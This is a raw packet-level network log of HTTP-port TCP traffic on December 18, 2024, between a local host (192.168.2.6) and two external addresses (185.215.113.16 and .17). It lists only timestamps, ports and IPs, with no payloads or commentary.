Dec 18, 2024 12:00:25.290265083 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.290323973 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.290451050 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.290538073 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.291466951 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.291534901 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.291574001 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.291623116 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.292494059 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.292542934 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.292619944 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.292690039 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.293601036 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.293659925 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.293695927 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.293729067 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.294666052 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.294734955 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.294770956 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.294831038 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.295794010 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.295864105 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.295892000 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.295954943 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.296828985 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.296962023 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.297106028 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.297173023 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.297923088 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.298011065 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.298046112 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.298183918 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.298993111 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.299053907 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.299053907 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.299091101 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.300102949 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.300151110 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.300180912 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.300225019 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.301181078 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.301232100 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.301301956 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.301424026 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.302310944 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.302366972 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.302525997 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.302570105 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.303421021 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.303579092 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.303586006 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.303667068 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.304712057 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.304781914 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.304814100 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.304920912 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.305613995 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.305680037 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.305685043 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.305721045 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.306695938 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.306756020 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.306838036 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.306884050 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.307853937 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.307912111 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.308078051 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.308130980 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.308871031 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.308928967 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.308962107 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.309010029 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.309952021 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.310038090 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.310065985 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.310127020 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.311053991 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.311105967 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.311181068 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.311225891 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.311413050 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.311464071 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.311547041 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.311598063 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.312166929 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.312217951 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.312259912 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.312350035 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.312484026 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.312540054 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.312624931 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.312665939 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.313019991 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.313101053 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.313236952 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.313299894 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.313358068 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.313442945 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.313806057 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.313858032 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.313978910 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.314080000 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.314166069 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.314207077 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.314311028 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.314354897 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.314388990 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.314429045 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.314435005 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.314483881 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.314646006 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.314696074 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.314996958 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.315051079 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.315079927 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.315182924 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.315191031 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.315227032 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.315403938 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.315475941 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.315495014 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.315521002 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.315836906 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.316338062 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.316517115 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.316576004 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.316632986 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.316751003 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.317627907 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.317686081 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.317825079 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.317970991 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.318743944 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.318816900 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.318902016 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.318944931 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.319849968 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.319895983 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.319952011 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.320076942 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.320991039 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.321012020 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.321054935 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.322129011 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.322176933 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.322244883 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.322307110 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.323184013 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.323254108 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.323280096 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.323302031 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.324220896 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.324328899 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.324331045 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.324441910 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.325325012 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.325370073 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.325404882 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.325630903 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.326392889 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.326467037 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.326503038 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.326539040 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.327511072 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.327554941 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.327586889 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.327636957 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.328618050 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.328669071 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.328733921 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.328774929 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.329714060 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.329734087 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.329775095 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.330773115 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.330825090 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.330914021 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.330957890 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.332245111 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.332258940 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.332307100 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.333360910 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.333408117 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.333553076 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.333596945 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.334462881 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.334536076 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.334562063 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.334575891 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.335325956 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.335372925 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.335434914 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.335623980 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.336298943 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.336347103 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.336365938 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.336436033 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.337423086 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.337472916 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.337661028 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.337706089 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.338495016 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.338546038 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.338598013 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.338666916 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.339643955 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.339694023 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.339730024 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.339768887 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.340835094 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.340883017 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.340980053 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.341032028 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.341790915 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.341840029 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.341896057 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.341945887 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.342875957 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.342984915 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.444434881 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.444490910 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.444554090 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.444757938 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.444814920 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.444968939 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.445029020 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.445100069 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.445153952 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.445574045 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.445673943 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.446090937 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.446182013 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.446187973 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.446229935 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.446388006 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.446671963 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.446913004 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.446971893 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.446993113 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.447036982 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.447299004 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.447348118 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.447873116 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.447926044 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.447968960 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.448013067 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.448225021 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.448400974 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.449564934 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.449590921 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.449609995 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.449614048 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.449620008 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.449620008 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.449670076 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.449708939 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.449937105 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.449986935 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.450069904 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.450114012 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.450254917 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.450299978 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.450737000 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.450798035 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.451567888 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.451617002 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.451622009 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.451662064 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.451926947 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.451975107 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.452115059 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.452162981 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.452255964 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.452344894 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.452754974 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.452805042 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.476551056 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.476620913 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.476671934 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.476727009 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.476998091 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.477056026 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.477103949 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.477170944 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.478255033 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.478269100 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.478310108 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.478324890 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.479247093 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.479299068 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.479398012 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.479479074 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.480338097 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.480428934 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.480442047 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.480463982 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.481426001 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.481477022 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.481528044 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.481610060 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.486141920 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.486160994 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.486175060 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.486188889 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.486219883 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.486243010 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.486263037 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.486275911 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.486315012 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.487427950 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.487490892 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.487588882 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.487643957 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.488538980 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.488719940 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.488766909 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.489671946 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.489726067 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.489850998 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.490118027 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.490652084 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.490664959 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.490715981 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.490928888 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.490942001 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.490972042 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.490998983 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.491270065 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.491326094 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.491372108 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.491414070 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.492377996 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.492454052 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.492511988 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.492563963 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.493470907 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.493518114 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.493552923 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.493593931 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.494577885 CET	80	49950	185.215.113.16	192.168.2.6
